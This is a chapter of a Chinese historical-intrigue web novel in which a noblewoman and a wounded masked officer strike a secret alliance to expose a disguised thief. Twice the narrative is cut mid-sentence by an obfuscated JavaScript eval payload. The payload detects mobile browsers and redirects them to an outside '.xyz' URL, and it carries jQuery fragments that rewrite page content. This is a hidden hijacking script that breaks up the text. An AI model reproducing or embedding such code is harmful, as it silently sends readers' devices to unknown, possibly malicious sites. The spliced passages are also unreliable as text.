眼见着期儿倒地将弄出动静，蒙面男子一只手将其托住，继而置于一旁。 水断栩见状，心中不惧为虚，可她亦然明了，纵使号救引来人，可终是不敌剑划过脖颈之速。 为保命，她趁此间隙拔出发簪，握于手中，藏于袖里。 明面上，面容尽是惧色，身子轻颤着，若是旁人得以瞧见，定然以为是因期儿这前车之鉴，适才不敢有所举动。 她候着蒙面男子的动止，可他却迟迟未挪步。 良久，只见殷红染上蒙面男子的臂，倏然间，他正要朝水断栩走来，却双膝一软，借力于剑才得以堪堪站起。 屋中弥漫着血腥味，纵使是痴儿，亦知晓此时是处于何境地。 水断栩大可趁其虚弱时，喊来护院，将其押住，可期儿还在他身旁…… 恰在此时，她瞧见蒙面男子腰间悬着的麻绳，若有所思，继而开口道。 “郎君既是负伤，不如待敷上金疮药再言语？万一你命丧于此，想来会引起轩然大波，我亦不便收拾残局。” 趁他鸱目虎吻、蹙额啮齿之际，水断栩疾步从药匣中取出金疮药，继而将瓷瓶掷于其双手中。 他敷药时，水断栩则是趁机蹑步至期儿身侧，手方抬起，还未触及其肌肤，一道寒光在眼前乍现。 蒙面男子持剑，阻隔了水断栩欲靠近的指尖，险些令其受伤。 见状，水断栩缩回双手，见其仍旧敷药，倏然起身，此时她于上位，蒙面男子只能仰视她。 “郎君倒不果断，瞧你之举，若是真要取我性命，大可不必欲擒故纵，若是无意取我性命，那郎君缘何深夜出现在此？” 说罢，水断栩见他哑口无言，转眸望向床榻处所藏匿的匕首。 正当她悄然挪步时，声至耳畔。 “娘子洞若观火， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955527|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在下此回冒昧之举……不管娘子信或不信，我并非来取娘子性命，而是……同娘子合谋。” “合谋？你我素不相识，堪堪算上萍水相逢，何来寻求同谋一说？何况……你方才险些伤了我，这便是郎君求同谋之心？若是如此，恕我担待不起合谋一事。” 水断栩闻言轻嗤一声，却亦怔然，转而心中渐渐浮出一猜度，但她未言明，言语间仍装不知。 蒙面男子见状，借力于剑起身，作揖启齿道。 “方才是在下唐突，在下向娘子赔罪。可娘子心中如明镜，如何不知在下之意？四十五年发生之事，娘子定然不会置若罔闻。” 见他将话挑明，少顷，水断栩移眸，不再佯装不知，淡然一笑道。 “试百户大人倒是安闲自在，不去缉拿大盗，反倒擅闯国公府，真真令人费解，至于四十五年发生之事，事关兄长我自记得，倒是与大人……有何干系呢？” 方道出其身份时，蒙面男子瞥向腰间麻绳，木质钤记磨得发亮，引去他眸光。 “娘子倒是……”蒙面男子不恼不惧，反而哂之，继而开口道，“纤毫必察，不过……依娘子所言，府中可是出现盗贼？” “烦请大人先回答，我的问询，回答后，我再为大人解惑。一来我不知大人你姓甚名甚，籍贯何处，心中有惧，二来闻贸然合谋之邀，我总要获悉盟友之事体，人之常情罢了，相信大人能理解我所虑。” 蒙面男子闻言，已无方才虚弱之态，他未扯下钤记，而是从腰间取出腰牌，继而一扔，落于水断栩静候的掌心。 “北镇抚司试百户，丛赋归……丛大人既是隐匿行事，缘何将此等验证身份之物携于身？是同谋之资？” 她呢喃着腰牌所记，不忘问询一二，正望着这腰牌，忽地声至。 “携来此物，確为令水娘子相信，是在下诚意。四十五年克扣军饷案，家父受命押运军饷，却离奇死亡，此事却不了了之……在下介怀，闻水娘子之兄长曾亦受此案牵连，故寻求同谋。” “我兄长已然亡故，且并非因此事，故我足以不去追究，丛大人既是听去传闻，亦该知晓我是何人，贪慕富贵，攀高枝……若是同谋，我能谋何利，于我有何好处？” 水断栩一番冷言冷语后，将腰牌掷于丛赋归怀中，方才讥诮之言许是令他瞠目结舌，良久，他才启齿道。 “若水娘子真如传闻中那般，丛某无话可说，可丛某不信双耳所闻，亦不信双眼所见，以为一人是如何品性，总有各异声音，众口难调，亦是在所难免，且方才娘子言及大盗，想来并非是同辞重句、博士买驴。” 一番话尽，丛赋归扯下覆面之物，神色极尽恳切，双眸中亦然。 水断栩微微勾唇，此人，倒非蠢笨之辈。 念及此，她将自己计想一并道来。 “丛大人既言至如此，我便不故弄玄虚了。” “自四十五年起，丛大人任职已有年头，丛大人本是世袭，可缺一军功转为百户，若是此时出现一江洋大盗，缉拿他可否能相助丛大人？” 丛赋归闻言一时未明了，许是不知她为何开口相助自己。 见他疑惑，水断栩继而开口道。 “此事亦于我有利，并非仅仅为了大人。” “此盗贼窃了国公府财物，需除之而后快，此人曾假扮国公府小厮身份，混迹其中。” “那小厮，名唤几冬。” 21. 谋定后动 “几冬？那……那大盗名唤何？” 丛赋归闻言，眉头如群山聚起，身子亦离水断栩方位近了些，挪步时，轩窗外传来簌簌风声。 “此问，便非是我所需告知的，我能做的，便是……”水断栩缓步徐行，从匣中暗格处取来一古籍，翻开，一宣纸滚落于其章中，继而道，“静候佳音。” 丛赋归望着手中叠起的宣纸，展开，此时宣纸上所画之人清晰起来。 若是国公府中人见此，乍看时，必定直呼“几冬”、“几冬”，可细细看去，便会发现异处，纵使画中人与几冬八分相似，可眼尾处那颗痣彰显着不同。 言及是痣，却又硕大无比，非同寻常，好似……为了遮掩什么…… 除此痣，倒是无引去人眸光之处，丛赋归见状，做出敛眸忖度状，似是要将此人容貌印在心中。 “丛大人所问，便由大人亲自去寻解了。” “娘子此意，便是要与丛某合谋了？” 水断栩闻言，见他兀自不解，将宣纸从他掌中抽离，铺开挡于自己面容前，启齿道：“此人是我予大人的助力，亦是为盟约的凭证，大人此回可明了了？” “既如此，丛某将此言铭记于心，不过……恕丛某多言，娘子是如何与江洋大盗有干系？” 水断栩见其疑惑，遂彳亍着解释此事。 解释之语定然非是全盘托出，与实情总有出入。 实情便是，水断栩与玉盘，即主仆二人进京那日，恰逢张贴通缉令之时，鬼使神差地，水断栩一人迎了上去，将通缉犯面容收入眼底。 许是冥冥之中上苍作祟，便让她遇见了几冬，瞧见了那与通缉犯八分相似的面容。 故，当时并非只有几冬见她时有“故人”之感，她见几冬亦然。 解释完，丛赋归垂首，权当回应，可眉间如同沟壑，因蹙起愈加深了。 少顷，见他转首垂下眸，她亦循着眸光看去，一同落在正昏去未醒的期儿身上。 “丛大人这是……要掩人耳目？” 水断栩话落，便见丛赋归阔步而行，当即会意，与他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955528|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同将期儿挪至柜中，方才将其藏好，亦是此时，血腥味再度席卷而来。 原是方才丛赋归牵扯到了伤口，包扎处再度染上殷红，适才令血腥味溜出。 “丛大人，得罪了。” “哗啦！” 水断栩趁他怔然之际，抬手使利刃对准自己，下一瞬，衣料的撕裂声、皮肉绽开的痛意，一并呈现在这一小片天地里。 “你这是作何？” “来人啊！有刺客！” 随着丛赋归焦灼低语声传来的，还有轩窗外女使的喊叫声。 一时间，水断栩目眩神摇，只觉眼前模糊不已，只见丛赋归复蒙面，继而翻窗而逃，一团黑影匿迹于夜幕中。 而自己，捂着殷红遍布的臂，不住地轻颤着。 “娘子，娘子？是伤口处又痛了吗？” 玉盘之声至，将水断栩从思绪中扯出。 “无妨，我只是……觉着有些疲了。” “那娘子您快些歇息！玉盘就在此处守着，何人皆无法伤到娘子。”